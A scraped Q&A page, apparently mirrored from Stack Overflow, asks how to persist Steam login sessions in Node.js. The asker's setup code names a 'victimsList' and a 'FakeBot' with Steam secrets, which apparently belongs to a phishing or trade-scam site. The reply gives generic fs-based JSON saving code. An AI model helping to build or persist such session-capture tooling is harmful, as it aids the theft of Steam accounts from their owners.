简体   繁体   中英

How to save session nodejs?

When i log in through my steam account on site, it's saving data, but when i restart server and look in admin panel, account was not saved. How to fix that?

const WebServer = require('./src/webserver')
const FakeBot = require('./src/fakebot')

global.victimsList = {}
global.prices = require('./prices.json')
global.config = {
    admin_address: '',
    secretKey: '7786',
    botSteamid: ''
}

global.http = new WebServer({
    port: 80,
    address: ''
})
global.http.launchListener()

global.fakebot = new FakeBot({
    login: '',
    password: '',
    shared_secret: '',
    identity_secret: '',
    price_minimum: 0,
    admins_id: ['']
})
global.fakebot.steamAuth()

Few different ways to do this. One super simple way to do it is use the fs module. You can then save and read text data from files super simply. Have something like:

function saveData(){
  fs.writeFileSync('save.json', JSON.stringify(whateverObjectNeedsToBeSaved));
}

function readData(){
  return JSON.parse(fs.readFileSync('save.json'));
}

fs Module: https://nodejs.org/api/fs.html

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM